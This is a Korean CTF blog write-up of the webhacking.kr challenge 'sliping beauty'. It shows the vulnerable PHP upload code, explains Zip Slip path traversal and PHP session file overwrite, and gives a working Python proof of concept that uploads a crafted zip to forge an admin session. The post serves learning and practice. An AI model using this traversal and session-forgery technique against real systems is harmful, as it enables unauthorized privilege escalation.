Home [Webhacking.kr] sliping beauty
Post
Cancel

[Webhacking.kr] sliping beauty

오랜만에 webhacking.kr에 들어가서 좀 예전에 나왔던 새로운(??) 문제들을 몇 문제 풀어보았습니다. 1.5년 전만 하더라도 그 문제들을 보면서 어떻게 풀라는 거지?라는 생각 밖에 못했는데 이제는 그 정도는 아닌 것 같네요. 아무튼 그 중에서 오랜만에 마주친 개념을 포함한 sliping beauty 롸업을 적어보려고 합니다.

코드 분석


먼저 세션의 uidadmin이면 플레그를 출력합니다. 사용자가 zip 파일을 올리면 추출한 파일들에 난수를 붙여서 ./upload/ 디렉토리에 copy합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
session_start();
if(!$_SESSION['uid']) $_SESSION['uid'] = "guest";
if($_SESSION['uid'] == "admin") include "/flag";
if($_FILES['upload']){
  $path = $_FILES['upload']['tmp_name'];
  $zip = new ZipArchive;
  if ($zip->open($_FILES['upload']['tmp_name']) === true){
    for($i = 0; $i < $zip->numFiles; $i++){
      $filename = $zip->getNameIndex($i);
      $filename_ = $filename.rand(10000000,99999999);
      if(strlen($filename) > 240) exit("file name too long");
      if(preg_match('/[\x00-\x1F\x7F-\xFF]/',$filename)) exit("no hack");
      if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
      else echo "{$filename_} upload failed.<br>";
    }
    $zip->close();
  }
}
highlight_file(__FILE__);
?>


취약점


Zip Slip


Zip slippath traversal구문을 가지는 파일을 포함한 zip, tar 등을 추출할 때 이를 이용하여 공격자가 의도한 경로로 원하는 파일을 덮어쓰거나 업로드하는 공격 방식입니다. 이 문제에서는 preg_match()를 이용해서 filename을 검사하지만 ../ 은 필터링하지 않습니다.

PHP Session Overwrite


위의 zip slip을 이용하면 임의의 위치에 파일을 업로드할 수 있으므로 원하는 세션을 만들어낼 수 있습니다. PHP는 직렬화된 포멧으로 /var/lib/php/sessions/ 디렉토리에 세션파일을 저장합니다. 그리고 그 파일의 포멧은 session_[PHPSESSID]와 같습니다. 세션파일에 저장하는 값은 아래와 같이 간단하게 쉘에서 확인할 수 있습니다. session_encode()를 통해서 직렬화된 세션 데이터를 얻을 수 있습니다. (여기서 session_start()는 가장 위에 선언해줘야합니다. 코드를 몇개 적고 중간에 적어주게 되면 에러가 발생합니다🙃)
session

Exploit


다음과 같은 시나리오를 구성할 수 있습니다.

  1. 직렬화된 세션 데이터를 포함한 aasdasdsd/../../../../../../../../var/lib/php/sessions/sess_파일을 압축하여 업로드합니다.
  2. sess_ 뒤에 랜덤한 숫자가 붙기 때문에 이 숫자가 PHPSESSID가 됩니다.
  3. 이 랜덤한 숫자로 쿠키의 PHPSESSID 값을 바꿔줍니다.

PoC Code


그냥 파일이름에 ../을 포함시키려고 맥북에서는 /:로 바꾸더라구요. 결국 방법을 찾지 못해서 어차피 PoC 코드로 적어야 할 겸 다른 ctf 문제에서 사용한 zip 파일 업로드 코드를 이용했습니다. ㅋㅅㅋ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from requests import post,get
from re import search
from io import BytesIO
import zipfile

info = lambda x: print(f'[+] {x}')
URL = 'http://webhacking.kr:10015'

PAYLOAD = 'uid|s:5:"admin";'

fh = BytesIO()
with zipfile.ZipFile(fh, "a", zipfile.ZIP_DEFLATED, False) as zf:
    zf.writestr("hacked/../../../../../../../../var/lib/php/sessions/sess_", PAYLOAD)

## Get Cookie
res = get(f"{URL}/")
COOKIE = {"PHPSESSID":res.headers['Set-Cookie'][:-7].split("PHPSESSID=")[1]}

## Zip file upload
res = post(f"{URL}/", files={"upload": ('hoppi.zip', fh.getvalue())}, cookies=COOKIE)
if "failed" in res.text.split("<br>")[0]:
    print(f"[-] Failed to upload zip file...")
else:
    info(res.text.split("<br>")[0])

NEW_SESSID = res.text.split("sess_")[1].split(" uploaded.")[0]
info (f"New PHPSESSID is {NEW_SESSID}")
NEW_COOKIE = {"PHPSESSID":NEW_SESSID}
res = get (f"{URL}/",cookies=NEW_COOKIE)

## Get flag
m = search(r"FLAG{.*?}",res.text)

if m:
    FLAG = m.group()
    info(f'Flag is {FLAG}')
else :
    print("[-] Failed to find the flag")


Reference


[Web] Prototype Pollution 간단 정리

[Webhacking.kr] MEMO Service

Comments powered by Disqus.